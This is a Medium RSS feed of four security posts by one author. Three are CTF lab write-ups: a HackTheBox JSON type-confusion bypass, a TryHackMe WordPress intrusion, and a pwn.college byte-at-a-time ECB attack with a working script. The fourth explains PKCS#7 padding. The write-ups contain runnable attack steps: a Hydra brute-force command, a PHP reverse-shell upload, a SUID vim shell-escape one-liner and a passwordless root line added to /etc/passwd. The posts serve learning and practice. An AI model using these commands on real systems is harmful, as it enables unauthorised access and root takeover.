<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Muhammad Alshlqany on Medium]]></title>
        <description><![CDATA[Stories by Muhammad Alshlqany on Medium]]></description>
        <link>https://medium.com/@alshlqany?source=rss-76c55f7be242------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*HPYP1cDhhpd_P56UaiO8aQ.jpeg</url>
            <title>Stories by Muhammad Alshlqany on Medium</title>
            <link>https://medium.com/@alshlqany?source=rss-76c55f7be242------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 16:23:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@alshlqany/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HackTheBox — Magical Palindrome]]></title>
            <link>https://medium.com/@alshlqany/hackthebox-magical-palindrome-e4f5fe718cab?source=rss-76c55f7be242------2</link>
            <guid isPermaLink="false">https://medium.com/p/e4f5fe718cab</guid>
            <category><![CDATA[palindrome]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[htb]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[magical-palindrome]]></category>
            <dc:creator><![CDATA[Muhammad Alshlqany]]></dc:creator>
            <pubDate>Tue, 18 Nov 2025 17:15:15 GMT</pubDate>
            <atom:updated>2025-11-18T17:34:05.608Z</atom:updated>
            <content:encoded><![CDATA[<h3>HackTheBox — Magical Palindrome</h3><p><strong>Assalamu Alaikum,</strong></p><p>In this write-up, I will walk through my solution for the “<strong>Magical Palindrome</strong>” challenge from HackTheBox.<br>challenge: <a href="https://app.hackthebox.com/challenges/Magical%2520Palindrome">https://app.hackthebox.com/challenges/Magical%2520Palindrome</a></p><p>This is a white box challenge; you can download the source code and read its</p><p>index.mjs:</p><pre>import {serve} from &#39;@hono/node-server&#39;;<br>import {serveStatic} from &#39;@hono/node-server/serve-static&#39;;<br>import {Hono} from &#39;hono&#39;;<br>import {readFileSync} from &#39;fs&#39;;<br><br>const flag = readFileSync(&#39;/flag.txt&#39;, &#39;utf8&#39;).trim();<br><br>const IsPalinDrome = (string) =&gt; {<br> if (string.length &lt; 1000) {<br>  return &#39;Tootus Shortus&#39;;<br> }<br><br> for (const i of Array(string.length).keys()) {<br>  const original = string[i];<br>  const reverse = string[string.length - i - 1];<br><br>  if (original !== reverse || typeof original !== &#39;string&#39;) {<br>   return &#39;Notter Palindromer!!&#39;;<br>  }<br> }<br><br> return null;<br>}<br><br>const app = new Hono();<br><br>app.get(&#39;/&#39;, serveStatic({root: &#39;.&#39;}));<br><br>app.post(&#39;/&#39;, async (c) =&gt; {<br> const {palindrome} = await c.req.json();<br> const error = IsPalinDrome(palindrome);<br> if (error) {<br>  c.status(400);<br>  return c.text(error);<br> }<br> return c.text(`Hii Harry!!! ${flag}`);<br>});<br><br>app.port = 3000;<br><br>serve(app);</pre><p>After reading this file, we found that we need to send a palindrome value with a length ≥ 1000, so let’s do this directly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/798/1*8qmRAsipNLz1KlbQ4LLNbg.png" /></figure><p>But it’s not that easy. I got a response code <strong>413 Request Entity Too Large. </strong>This is because nginx refuses bodies larger than 75 bytes due to client_max_body_size 75; in nginx.conf So even though the backend allows large palindromes, nginx blocks them first.</p><p>So we need a way to bypass this, so I decided to reread the code and search for any vulnerable parts of the code while debugging it locally, and I realized that there is no type check for palindrome, so I tested the following payload:</p><pre>{<br>  &quot;palindrome&quot;:{<br>      &quot;length&quot;:1000<br>  }<br>}</pre><p>and this allows me to bypass the string length check</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*6RrA4D7G96lsAYtsRQQ8hg.png" /></figure><p>Now the server is in line for (i of Array(string.length).keys())will create an array with 1000 and get the keys [0…999]</p><p>string[i] &amp; string[string.length — 0-1] Both are undefined (equals), but the server has another condition of both being a type of string</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*ZJyRAgn3U_kv-gnvvFeycw.png" /></figure><p>After a few minutes of thinking, I decided to see how the <strong>Array()</strong> function works and found the following:</p><ol><li>If you pass a number to it, it treats it as a length and makes an array with this length</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/289/1*boLoCHr5_uukm2LbS8lA7w.png" /></figure><p>2. And if you passed a string, it makes an array with length 1 and has this string</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/289/1*tNclW78gUKZEtmRTg4TBbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/289/1*-37-DYo_D24BdiiIwTZ1qA.png" /></figure><p>So if our object has a length value as a string, the server will create an array with length 1, and the loop will iterate only 1 time with i = 0 because array keys will return only[0]</p><p>Now we should also add both 0and Length-1 Having the same string value for our object to be like this</p><pre>{<br>  &quot;palindrome&quot;:{<br>    &quot;length&quot;:&quot;1000&quot;,<br>    &quot;0&quot;:&quot;c&quot;,<br>    &quot;999&quot;:&quot;c&quot;<br>  }<br>}</pre><p>And after sending the request, i got the</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/589/1*7hNDgWjg61sg7VoLqHnoLw.png" /></figure><h3>Contact</h3><p>email: moalshlkany@gmail.com<br><a href="https://www.linkedin.com/in/muhammad-alshlqany/">LinkedIn</a>: <a href="https://www.linkedin.com/in/muhammad-alshlqany/">https://www.linkedin.com/in/muhammad-alshlqany/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e4f5fe718cab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackMe: Sunshine]]></title>
            <link>https://medium.com/@alshlqany/tryhackme-sunshine-6c559796691a?source=rss-76c55f7be242------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c559796691a</guid>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[web]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Muhammad Alshlqany]]></dc:creator>
            <pubDate>Sat, 15 Nov 2025 14:35:27 GMT</pubDate>
            <atom:updated>2025-11-15T14:43:58.168Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*44MHQyZTYEwsZxG3qL-GcQ.png" /></figure><p><em>Challenge: </em><a href="https://tryhackme.com/room/sunshine-hacker-association"><em>https://tryhackme.com/room/sunshine-hacker-association</em></a></p><ol><li><strong>Port Scanning<br></strong>nmap -sV -p- -T4 &lt;MACHINE_IP&gt;</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*hWtCQhMYySEiNhfxPLDsaw.png" /></figure><ul><li>We have 2 open ports: <strong><em>22</em></strong> and <strong><em>80</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QVKHBonaZOAEEAQZeDvV8w.png" /></figure><p>2. <strong>Enumeration</strong></p><p>You can use any tool. I prefer <strong>ffuf</strong></p><p>ffuf -u http://&lt;MACHINE_IP&gt;/FUZZ — —recursion — —recursion-depth 1 -w /path_to_wordlist</p><p>ffuf output:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SBMCKziVbhLHJ9k_wb536w.png" /></figure><p>let’s check <strong><em>http://&lt;MACHINE_IP&gt;/wordpress/wp-includes</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y9xQWbUQbggwrVu5RieB9w.png" /></figure><p>I checked many files here, but found nothing important</p><p>lets see <strong><em>http://&lt;MACHINE_IP&gt;/wordpress/wp-admin</em></strong></p><p>it takes too much time loading so i decided to check the network tab to see what is there and found</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KwVz0LMJIOmdUcjEswKFVQ.png" /></figure><p>302 FOUND and redirect to <a href="http://sunshine.thm/wordpress/wp-login.php?redirect_to=http%3A%2F%2F10.10.234.233%2Fwordpress%2Fwp-admin%2F&amp;reauth=1">http://sunshine.thm/wordpress/wp-login.php</a></p><p>So I decided to put <a href="http://sunshine.thm/wordpress/wp-login.php?redirect_to=http%3A%2F%2F10.10.234.233%2Fwordpress%2Fwp-admin%2F&amp;reauth=1">sunshine.thm</a> to<strong><em> /etc/hosts </em></strong>by adding this line</p><p>&lt;MACHINE_IP&gt; sunshine.thm and it worked</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MlCzlP5fMWnK2UZSr7IhFQ.png" /></figure><p>If you enter <em>admin:admin</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/665/1*oR6-r-HO4ztZIb9dBPVcuw.png" /></figure><p>This means the username <em>admin </em>is a valid username, so I decided to make a dictionary attack for the password using <em>Hydra</em></p><p>hydra -l admin -P /user/share/wordlists/rockyou.txt sunshine.thm http-post-form &quot;/wordpress/wp-login.php:log=^USER^&amp;pwd=^PASS^:incorrect&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xbx5OMiEIY2btGO3Dnv8_w.png" /></figure><p>The password is <em>sunshine </em>let&#39;s log in with it</p><p>Now we are logged in as admin</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lqm6Qh7ZM-NfyCmDt5F3dw.png" /></figure><p>after examine the wordpress add i found a shortcode plugin enable file upload</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5NeLXDICDctpMJeRNyZ4Xg.png" /></figure><p>So if we add this shortcode <strong><em>[uploader]</em></strong> to any page, it should make a file upload form</p><p>let’s edit any page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MM2NIar0WHKstjXL3v28Vw.png" /></figure><p><a href="https://medium.com/@alshlqany/tryhackme-sunshine-6c559796691a">To add a shortcode, click on the<strong> + </strong>icon in the upper left corner and search </a>for <em>shortcode </em>keyword, and drag and drop it to the page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/364/1*eDYdfacPWPHUxsud2fhg5Q.png" /></figure><p>Write <strong><em>[uploader]</em></strong> in the shortcode block, then save the changes</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/834/1*digTNoUw_oCIBksLR9KGrw.png" /></figure><p>After saving changes, a click on View Page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/297/1*7QanwEA1Krcz60572jWnDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*DsiHJTDvcpfAP1UVT3hrCA.png" /></figure><p>Now, let&#39;s upload a reverse shell. I will use the shell located at <strong><em>/usr/share/webshells/php/php-reverse-shell.php</em></strong></p><p>First, prepare it with your machine IP and the port you will listen on</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*iVnYxmzTF3cK9Lgy2e7CaQ.png" /></figure><p>Now upload the reverse shell after these changes</p><p>and listen on the port you put in the reverse shell file using netcat</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*ApJgtHN7B8zX5sxuN5gUtA.png" /></figure><p>After clicking upload, you will get a link for the uploaded file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*pFtrzbTyQzNiV1GmRVQ7rQ.png" /></figure><p>Go to this link, and you will get a reverse shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*vjao_UwJpJ_QNVyI1m-e-w.png" /></figure><p>After going home, I found a user called debian, but I don’t have access to his home folder</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*8TKhanJ_49g38eSJhvGHtQ.png" /></figure><p>So we should find a way to log in as a user who has these permissions, so let&#39;s check for something to use for privilege escalation</p><p>I made some checks, and I found an interesting binary has a suid bit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*EDyFRlK9K4KrbTCXVIRrtw.png" /></figure><p>i decided to treat it like normal <em>vim </em>and<em> </em>check if I can get a root shell using the following command</p><pre>/usr/bin/vim.tiny -c &#39;:py import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-pc&quot;, &quot;reset; exec sh -p&quot;)&#39;</pre><p>But I found a weird thing</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*h9QkSHZrjrVvsFk-GL_mcA.png" /></figure><p>I decided to stabilize the shell first to make things easier.<br>So I exit the shell, run netcat, reload the uploaded file link to get the shell again to begin the stabilization process.</p><p>for Shell stabilisation</p><ol><li>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</li><li>Press ctrl + z to background the reverse shell process</li><li>in your terminal ssty raw -echo; fg</li><li>click enter 2 times</li><li>Now you are in the reverse shell again, write export TERM=xterm</li><li>Now you have a stable reverse shell</li></ol><p>After this, I tried to use this command again</p><pre>/usr/bin/vim.tiny -c &#39;:py import os; os.execl(&quot;/bin/sh&quot;, &quot;sh&quot;, &quot;-pc&quot;, &quot;reset; exec sh -p&quot;)&#39;</pre><p>but also didn’t get a root shell to try to run it without arguments and pass:shell but also nothing new</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*nS2H1sDA04lnxgN3AtXN5w.png" /></figure><p>Note: write exit to exit from this shell, then :q to exit from Vim</p><p>Then I tried to open the /etc/shadow with it to see if I could read it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*M3Z4f4BExAs0vI5TQJWl2g.png" /></figure><p>then click enter and</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*6QdKieXqnAOqnW-owO-rtA.png" /></figure><p>I decided to get it to my machine and crack it using john But I can’t crack it</p><p>I asked myself, <strong>can we write to the file?</strong></p><p>I click on i key on the keyboard to be in the insert mode, then I was able to change the file content, then I decided to add a new user with root privileges with no password by changing <strong><em>/etc/passwd</em></strong></p><p>let’s do this</p><ol><li>vim.tiny /etc/passwd</li><li>click enter</li><li>press i to be in insert mode</li><li>Add this line at the end of the file root2::0:0:root2:/root:/bin/bash</li><li>click on ESC Key to exit from insert mode</li><li>write :w! to force write the changes</li><li>then :q to exit from Vim</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*RRXM1S9W5yyvUzUjOCKT3Q.png" /></figure><p>As you can see, we successfully updated etc/passwd</p><p>Now, let&#39;s try to switch to root2 user using su root2</p><p>And BOOOOOM, we now have root access to all files</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*oSlVLkrI2fGSg-sZpq4ylQ.png" /></figure><p>Now, let&#39;s see where the file is that contains the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/637/1*XEYm0QeAfUsa2xeclNTE2g.png" /></figure><p>user flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*LDLWIc9IKHjD6cgp0GBZCw.png" /></figure><p>root flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*1bZffd7Rio33JEtxQxNjkg.png" /></figure><h3><strong>Attack Chain Recap</strong></h3><ol><li><strong>Reconnaissance</strong> → Port 80 (WordPress)</li><li><strong>Enumeration</strong> → Found WordPress admin login</li><li><strong>Brute</strong> <strong>Force</strong> → Cracked admin:sunshine</li><li><strong>Initial Access </strong>→ File upload via [uploader] shortcode</li><li><strong>Shell Stabilization</strong> → Python pty technique</li><li><strong>Privilege Escalation </strong>→ SUID vim.tiny → /etc/passwd modification</li><li><strong>Root Access</strong> → su root2 (passwordless)</li></ol><h3>Conclusion</h3><ol><li><strong>Information Disclosure</strong> — WordPress installation exposed</li><li><strong>Weak Credentials </strong>— Admin password “sunshine” easily guessed</li><li><strong>Vulnerable Plugin </strong>— File upload via shortcode functionality</li><li><strong>SUID Misconfiguration </strong>— vim.tiny with root privileges</li><li><strong>Privilege Escalation</strong> — Adding root user via passwd modification</li></ol><h4>Contact</h4><p>email: moalshlkany@gmail.com<br><a href="https://www.linkedin.com/in/muhammad-alshlqany/">LinkedIn</a>: <a href="https://www.linkedin.com/in/muhammad-alshlqany/">https://www.linkedin.com/in/muhammad-alshlqany/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c559796691a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[pwn.college | AES-ECB-CPA-Prefix]]></title>
            <link>https://medium.com/@alshlqany/pwn-college-aes-ecb-cpa-prefix-094307aeda67?source=rss-76c55f7be242------2</link>
            <guid isPermaLink="false">https://medium.com/p/094307aeda67</guid>
            <category><![CDATA[byte-at-a-time]]></category>
            <category><![CDATA[cbse]]></category>
            <category><![CDATA[ae]]></category>
            <category><![CDATA[cpa]]></category>
            <category><![CDATA[ecb-decryption]]></category>
            <dc:creator><![CDATA[Muhammad Alshlqany]]></dc:creator>
            <pubDate>Tue, 07 Oct 2025 13:33:19 GMT</pubDate>
            <atom:updated>2025-10-07T13:33:19.461Z</atom:updated>
            <content:encoded><![CDATA[<h4>Byte-at-a-time ECB decryption</h4><p>Hello, in this level, we’ll learn about the chosen-plaintext attack (CPA) in the ECB mode, and how to attack an oracle function that encrypts user-supplied data concatenated with an unknown string under ECB mode while using a constant but unknown key.</p><p>First, you should know what PKCS#7 padding is <br>You can read about it here: <a href="https://medium.com/@alshlqany/understanding-pkcs-7-padding-in-ecb-mode-1c07a6df2e33">Understanding PKCS#7 Padding in ECB Mode</a></p><h4>Goal:</h4><p>If we have a function that takes plaintext and concatenates it with a secret text (ex, <strong>salt), </strong>then encrypt it using AES in ECB mode and return the ciphertext.</p><p>Our goal is to recover the secret (<strong>flag</strong>) that is concatenated with the plaintext without knowing the encryption key.</p><h4><strong>Step 1 — getting the block size</strong></h4><ul><li>Send 1 byte of plaintext to the function<br><em>* This will give you the initial cipher length</em></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*h8_EXcLAZzXk_RQYr0qgoQ.png" /></figure><p><em>Now we know that the initial ciphertext length is 128 characters. Since it’s in hexadecimal representation, we divide it by 2 to get the number of bytes </em><strong><em>(64 bytes)</em></strong><em>.</em></p><ul><li>Increase the plaintext length byte by byte and send it back to the encryption function until the cipher length changes</li><li>The ciphertext length changes after sending 8 bytes of plaintext — this new length is what we use to calculate the block size.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*uA_IrLFBCsNOK-ZYdqGRmQ.png" /></figure><ul><li>Once the cipher length changes, we can see that its size is 160 characters, and this means <strong>80 bytes. </strong>Now we can calculate the block size using blockSize = finalSize — nitialSize</li><li>blockSize = 80 — 64 =<strong> 16 bytes</strong></li></ul><h4>Step 2— getting the flag size</h4><p>As you know from <a href="https://medium.com/@alshlqany/understanding-pkcs-7-padding-in-ecb-mode-1c07a6df2e33">PKCS#7 padding</a></p><ul><li>If the total plaintext length (prefix + flag) is a multiple of the block size, PKCS#7 will add a full padding block.</li><li>So from this, we can say that <br>length(prefix) + length(flag) = finalSize — blockSize = 80 — 16 = 64<br>so length(flag) = 64 — length(prefix) = 64 — 8 = <strong>56 bytes</strong></li></ul><h4>Step 3 — getting the flag</h4><ul><li>To get the flag first, we need to send a prefix that meets the following constraints:<br>* length(prefix) &gt; len(flag) so it should be &gt; 56 bytes<br>* length(prefix) % blockSize == 0 <br>The first length that meets this is 64 bytes long</li></ul><blockquote><strong>We will assume the following to be easier to explain:<br><em>* flag length 12 bytes instead of </em>56 bytes<em><br>* block size is 8 bytes instead of 16 bytes</em></strong></blockquote><ul><li>After this assumption, the prefix will be 16 bytes instead of 64 bytes <strong>(you should use 64 bytes to solve the challenge)</strong></li><li>prefix = “AAAAAAAAAAAAAAAA”</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RmuYJnFlwK76242c3k4OKA.png" /></figure><p>Now, if we decrease the prefix length by one byte at a time, we can observe how the ciphertext changes. From <strong>block #2</strong>, we can get the cipher for <strong>“AAAAAAAAAAAAAAA + F[0]”, </strong>so it will be our target block,<strong> </strong>but how can we know F[0] ?!<br>The answer is simple: <strong>by brute force</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0h_AKdxjUYBQ3JNo02BFow.png" /></figure><ul><li>Ok, how to the brute force process work?<br>* We will try all character sets, and instead of sending “A”*16, we will “A”*5 + current char, then store the dict[block-2-cipher] = char</li><li>After trying all characters, we will send “A”*15 as a prefix, so it will look like this:</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TvRp34p-pqHmzq7QWDpLHA.png" /></figure><ul><li>Now block #2 has the cipher of “A” * 7 + F[0]</li><li>to know the F[0] we will search in the dict[block-2-cipher] This will return the correct character F[0] = dict[block-2-cipher] = &#39;p&#39;</li><li>Now we will clear the dict and repeat this process until we get the full flag, but each time we will decrease the prefix, and it will be &#39;A&#39; * new_prefix_length + recovered_characters + <strong>C c is each character, we brute-force it</strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JJBm--PtKFT4vuRv2UfA8w.png" /></figure><ul><li>Now, when we send “A” * new_prefix_length, we get</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VKZKGH9oKfIuP0VA9rWHYA.png" /></figure><ul><li>again F[1] = dict[block-2-cipher] = &#39;w&#39;</li><li>After repeating this process, we can get the full flag</li></ul><p>And instead of making this manually, I wrote a Python script to automate this process. Here it is:</p><pre>from pwn import *<br>from math import ceil<br>import string<br>p = process(&quot;/challenge/run&quot;)<br><br>def padding_info(i=1,initial_cipher_len=0):<br>    prefix = &quot;X&quot;*i<br>    cipher = get_cipher(prefix)<br>    if initial_cipher_len == 0:<br>        return padding_info(i+1,len(cipher))<br>    elif initial_cipher_len&lt;len(cipher):<br>        return {<br>            &quot;block_size&quot;: len(cipher)//2 - initial_cipher_len//2,<br>            &quot;flag_size&quot;: initial_cipher_len//2+1-i<br>            }<br>    else:<br>        return padding_info(i+1,len(cipher))<br><br>def get_cipher(prfx):<br>    p.sendlineafter(&quot;Choice?&quot;, b&quot;2&quot;)<br>    p.sendlineafter(&quot;Data?&quot;, prfx.encode())<br>    out = p.recvlines(1)[0]<br>    cipher = out.decode().split(&quot; &quot;)[2]<br>    return cipher<br><br>padding_info = padding_info()<br>block_size = padding_info[&quot;block_size&quot;]<br>flag_size = padding_info[&quot;flag_size&quot;]<br>prfx_size = ceil(flag_size / block_size) * block_size #prefix should be &gt; flag_size &amp; multiple of block_size<br><br>chars = string.ascii_letters+string.punctuation+string.digits<br>flag = &quot;&quot;<br>for i in range(flag_size):<br>    prfx_size-=1<br>    mp = {}<br>    for c in chars:<br>        prfx = &quot;X&quot;*prfx_size+flag+c<br>        cipher = get_cipher(prfx)<br>        block4 = cipher[block_size*3*2:block_size*4*2] # we iteresting in block cipher #4<br>        mp[block4]=c<br>    cipher = get_cipher(&quot;X&quot;*prfx_size)<br>    block4 = cipher[block_size*3*2:block_size*4*2]<br>    flag+= mp[block4]<br>    print(flag)</pre><p>And as you can see, we got the flag after running this script</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/880/1*7TEdLebo1T8RUh4wPQzurw.png" /></figure><p><em>That&#39;s all, Happy hacking</em></p><p>Refrence: <a href="https://node-security.com/posts/cryptography-byte-by-byte-ecb-decryption/">https://node-security.com/posts/cryptography-byte-by-byte-ecb-decryption/</a></p><p><strong>Email: moalshlkany@gmail.com<br></strong><a href="https://www.linkedin.com/in/muhammad-alshlqany/"><strong>LinkedIn</strong></a><strong>: </strong><a href="https://www.linkedin.com/in/muhammad-alshlqany/"><strong>https://www.linkedin.com/in/muhammad-alshlqany/</strong></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=094307aeda67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Understanding PKCS#7 Padding in ECB Mode]]></title>
            <link>https://medium.com/@alshlqany/understanding-pkcs-7-padding-in-ecb-mode-1c07a6df2e33?source=rss-76c55f7be242------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c07a6df2e33</guid>
            <category><![CDATA[pkcs7]]></category>
            <category><![CDATA[ae]]></category>
            <category><![CDATA[pwncollege]]></category>
            <category><![CDATA[cbse]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[Muhammad Alshlqany]]></dc:creator>
            <pubDate>Tue, 07 Oct 2025 13:12:24 GMT</pubDate>
            <atom:updated>2025-10-07T13:12:24.536Z</atom:updated>
            <content:encoded><![CDATA[<p>In ECB mode, each block is encrypted separately and then concatenated to form the ciphertext.</p><p>Example:</p><p><em>block-size = 4 bytes &amp; plaintext = HELLO</em></p><p>In this example, the plaintext is 5 bytes, but it should be a multiple of the block-size before encryption, so it will add an additional 3 bytes to be 8 bytes (multiple of block-size). Each byte has a value of 0x03, and then encryption begins</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VM5zBtS4kGc3nvFYpp16Jg.png" /></figure><p>During decryption, the last 3 bytes (0x03) are removed to recover the original plaintext</p><h4><strong>Now, let’s see what happens when the plaintext length is exactly a multiple of the block-size.</strong></h4><p>If we have the plaintext that is a multiple of block-size (for example: 4, 8, or 16 bytes) and ends with <strong>0x02 !!</strong><br>In the decryption process, it will seem like an additional byte and confuse, so it will remove it, but this is not right, so the solution was to make the padding all the time (whether it is a multiple of block-size or not)</p><p>Example: <em>block-size = 4 bytes &amp; plaintext = HACK</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sPOCbRr881896OzewL4AyA.png" /></figure><p>Here, since the plaintext length is a multiple of the block size, an extra block is added during encryption. Each byte in this block has the value of the block size (0x04), ensuring correct decryption later.</p><p><strong><em>Thanks for reading</em></strong></p><p>Email: moalshlkany@gmail.com<br><a href="https://www.linkedin.com/in/muhammad-alshlqany/">LinkedIn</a>: <a href="https://www.linkedin.com/in/muhammad-alshlqany/">https://www.linkedin.com/in/muhammad-alshlqany/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c07a6df2e33" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>